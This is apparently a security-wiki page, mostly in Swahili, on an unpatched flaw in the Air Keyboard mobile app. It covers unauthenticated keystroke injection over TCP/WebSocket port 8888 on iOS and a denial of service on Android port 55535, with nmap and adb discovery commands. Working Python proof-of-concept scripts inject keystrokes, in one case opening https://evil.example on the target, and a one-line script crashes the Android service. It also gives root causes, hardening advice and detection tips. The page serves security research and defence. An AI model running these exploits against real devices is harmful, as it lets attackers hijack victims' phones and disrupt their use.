# Air Keyboard Remote Input Injection (Unauthenticated TCP / WebSocket Listener)

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## TL;DR

Toleo la iOS la programu ya kibiashara **“Air Keyboard”** (App Store ID 6463187929) linaonyesha huduma ya mtandao wa ndani ambayo **inapokea fremu za funguo bila uthibitisho wowote au uthibitisho wa chanzo**. Kulingana na toleo lililowekwa huduma hiyo ni:

* **≤ 1.0.4**  – msikilizaji wa TCP wa kawaida kwenye **bandari 8888** inayotarajia kichwa cha urefu wa byte 2 kinachofuatiwa na *device-id* na mzigo wa ASCII.
* **≥ 1.0.5 (Juni 2025)**  – msikilizaji wa **WebSocket** kwenye *bandari hiyo hiyo* (**8888**) inayochambua funguo za **JSON** kama `{"type":1,"text":"…"}`.

Kila kifaa kwenye Wi-Fi / subnet hiyo hiyo kinaweza hivyo **kuingiza pembejeo za kibodi zisizo na mipaka kwenye simu ya mwathirika, kufikia utekaji wa mwingiliano wa mbali**.
Kijengwa cha Android kinachosindikiza kinakusikiliza kwenye **bandari 55535**. Kinafanya mkono dhaifu wa AES-ECB lakini takataka iliyoundwa bado inasababisha **kosa lisiloshughulikiwa ndani ya OpenSSL**, ikisababisha huduma ya nyuma kuanguka (**DoS**).

> Uthibitisho wa usalama **bado haujarekebishwa wakati wa kuandika (Julai 2025)** na programu hiyo inapatikana bado kwenye Duka la Programu.

---

## 1. Huduma ya Ugunduzi

Scan mtandao wa ndani na utafute bandari mbili zilizowekwa zinazotumiwa na programu:
```bash
# iOS (unauthenticated input-injection)
nmap -p 8888 --open 192.168.1.0/24

# Android (weakly-authenticated service)
nmap -p 55535 --open 192.168.1.0/24
```
Katika simu za Android unaweza kubaini kifurushi kinachohusika kwa ndani:
```bash
adb shell netstat -tulpn | grep 55535      # no root required on emulator
# rooted device / Termux
netstat -tulpn | grep LISTEN
ls -l /proc/<PID>/cmdline                 # map PID → package name
```
Katika **iOS iliyovunjwa** unaweza kufanya kitu kinachofanana na `lsof -i -nP | grep LISTEN | grep 8888`.

---

## 2. Maelezo ya Protokali (iOS)

### 2.1  Urithi (≤ 1.0.4) – fremu za binary za kawaida
```
[length (2 bytes little-endian)]
[device_id (1 byte)]
[payload ASCII keystrokes]
```
Ilani ya *urefu* inajumuisha byte ya `device_id` **lakini sio** kichwa cha byte mbili yenyewe.

### 2.2  Sasa (≥ 1.0.5) – JSON kupitia WebSocket

Toleo 1.0.5 lilihamishwa kimya kimya kwenda WebSockets huku likihifadhi nambari ya bandari bila kubadilisha. Kichocheo kidogo cha funguo kinaonekana kama:
```json
{
"type": 1,              // 1 = insert text, 2 = special key
"text": "open -a Calculator\n",
"mode": 0,
"shiftKey": false,
"selectionStart": 0,
"selectionEnd": 0
}
```
Hakuna mkono wa mkono, token au saini inayohitajika - kitu cha kwanza cha JSON tayari kinachochea tukio la UI.

---

## 3. Utekelezaji PoC

### 3.1 Kulenga ≤ 1.0.4 (raw TCP)
```python
#!/usr/bin/env python3
"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)"""
import socket, sys

target_ip  = sys.argv[1]                 # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n"    # payload visible to the user

frame  = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
frame += b"\x01"                        # device_id = 1 (hard-coded)
frame += keystrokes

with socket.create_connection((target_ip, 8888)) as s:
s.sendall(frame)
print("[+] Injected", keystrokes)
```
### 3.2  Kulenga ≥ 1.0.5 (WebSocket)
```python
#!/usr/bin/env python3
"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)"""
import json, sys, websocket  # `pip install websocket-client`

target_ip = sys.argv[1]
ws        = websocket.create_connection(f"ws://{target_ip}:8888")
ws.send(json.dumps({
"type": 1,
"text": "https://evil.example\n",
"mode": 0,
"shiftKey": False,
"selectionStart": 0,
"selectionEnd": 0
}))
ws.close()
print("[+] URL opened on target browser")
```
*ASCII yoyote inayoweza kuchapishwa — ikiwa ni pamoja na line-feeds, tabs na funguo nyingi maalum — inaweza kutumwa, ikimpa mshambuliaji nguvu sawa na ingizo la mtumiaji wa kimwili: kuzindua programu, kutuma IMs, kufungua URL za uharibifu, kubadilisha mipangilio, n.k.*

---

## 4. Android Companion – Denial-of-Service

Bandari ya Android (55535) inatarajia **neno la siri la herufi 4 lililofichwa kwa kutumia funguo za AES-128-ECB zilizowekwa kwa ngumu** ikifuatiwa na nonce ya nasibu. Makosa ya uchambuzi yanapanda hadi `AES_decrypt()` na hayakamatwi, yakimaliza nyuzi za msikilizaji. Paket moja iliyo na makosa inatosha kuwafanya watumiaji halali wawe nje ya mtandao hadi mchakato urudiwa.
```python
import socket
socket.create_connection((victim, 55535)).send(b"A"*32)  # minimal DoS
```
---

## 5. Programu Zinazohusiana – Mfano wa Mara kwa Mara wa Kupinga

Air Keyboard **siyo kesi ya pekee**. Programu nyingine za simu za “remote keyboard/mouse” zimekuja na kasoro hiyo hiyo:

* **Telepad ≤ 1.0.7** – CVE-2022-45477/78 inaruhusu utekelezaji wa amri zisizo na uthibitisho na uandishi wa funguo za maandiko wazi.
* **PC Keyboard ≤ 30** – CVE-2022-45479/80 RCE isiyo na uthibitisho & ufuatiliaji wa trafiki.
* **Lazy Mouse ≤ 2.0.1** – CVE-2022-45481/82/83 hakuna-siri ya chaguo-msingi, PIN dhaifu ya nguvu na uvujaji wa maandiko wazi.

Mifano hii inaonyesha kutokujali kwa mfumo wa **uso wa mashambulizi yanayoelekezwa kwenye mitandao katika programu za simu**.

---

## 6. Sababu za Msingi

1. **Hakuna ukaguzi wa asili / uaminifu** kwenye fremu zinazokuja (iOS).
2. **Matumizi mabaya ya cryptographic** (funguo ya kudumu, ECB, ukosefu wa uthibitisho wa urefu) na **ukosefu wa usimamizi wa makosa** (Android).
3. **Haki ya Mtumiaji ya Mtandao wa Mitaa ≠ usalama** – iOS inahitaji idhini ya wakati wa kukimbia kwa trafiki ya LAN, lakini haitoi uthibitisho sahihi.

---

## 7. Kuimarisha & Hatua za Kijamii

Mapendekezo ya waendelezaji:

* Fungamanisha msikilizaji na **`127.0.0.1`** na tunnel kupitia **mTLS** au **Noise XX** ikiwa udhibiti wa mbali unahitajika.
* Pata **siri za kifaa kila wakati wakati wa kuanzisha** (mfano, QR code au PIN ya Kuunganisha) na kulazimisha *uthibitisho wa pamoja* kabla ya kushughulikia ingizo.
* Adopt **Apple Network Framework** na *NWListener* + TLS badala ya soketi za kawaida.
* Tekeleza **ukaguzi wa akili wa urefu** na usimamizi wa makosa ulioandaliwa wakati wa kufungua au kufasiri fremu.

Mafanikio ya haraka ya Blue-/Red-Team:

* **Uwindaji wa Mtandao:** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` au chujio cha Wireshark `tcp.port == 8888`.
* **Ukaguzi wa wakati wa kukimbia:** Skripti ya Frida inashikilia `socket()`/`NWConnection` ili orodhesha wasikilizaji wasiotarajiwa.
* **Ripoti ya Faragha ya Programu ya iOS (Mipangilio ▸ Faragha & Usalama ▸ Ripoti ya Faragha ya Programu)** inaonyesha programu zinazowasiliana na anwani za LAN – muhimu kwa kugundua huduma za uasi.
* **Mobile EDRs** zinaweza kuongeza sheria rahisi za Yara-L kwa funguo za JSON `"selectionStart"`, `"selectionEnd"` ndani ya mzigo wa TCP wa maandiko wazi kwenye bandari 8888.

---

## Karatasi ya Udhibiti (Pentesters)
```bash
# Locate vulnerable devices in a /24 and print IP + list of open risky ports
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \
| awk '/Ports/{print $2 "  " $4}'

# Inspect running sockets on a connected Android target
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \
echo -n \"$p → \"; cat /proc/$p/cmdline; done"
```
---

## Marejeo

- [Exploit-DB 52333 – Air Keyboard iOS App 1.0.5 Remote Input Injection](https://www.exploit-db.com/exploits/52333)
- [Mobile-Hacker Blog (17 Jul 2025) – Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)

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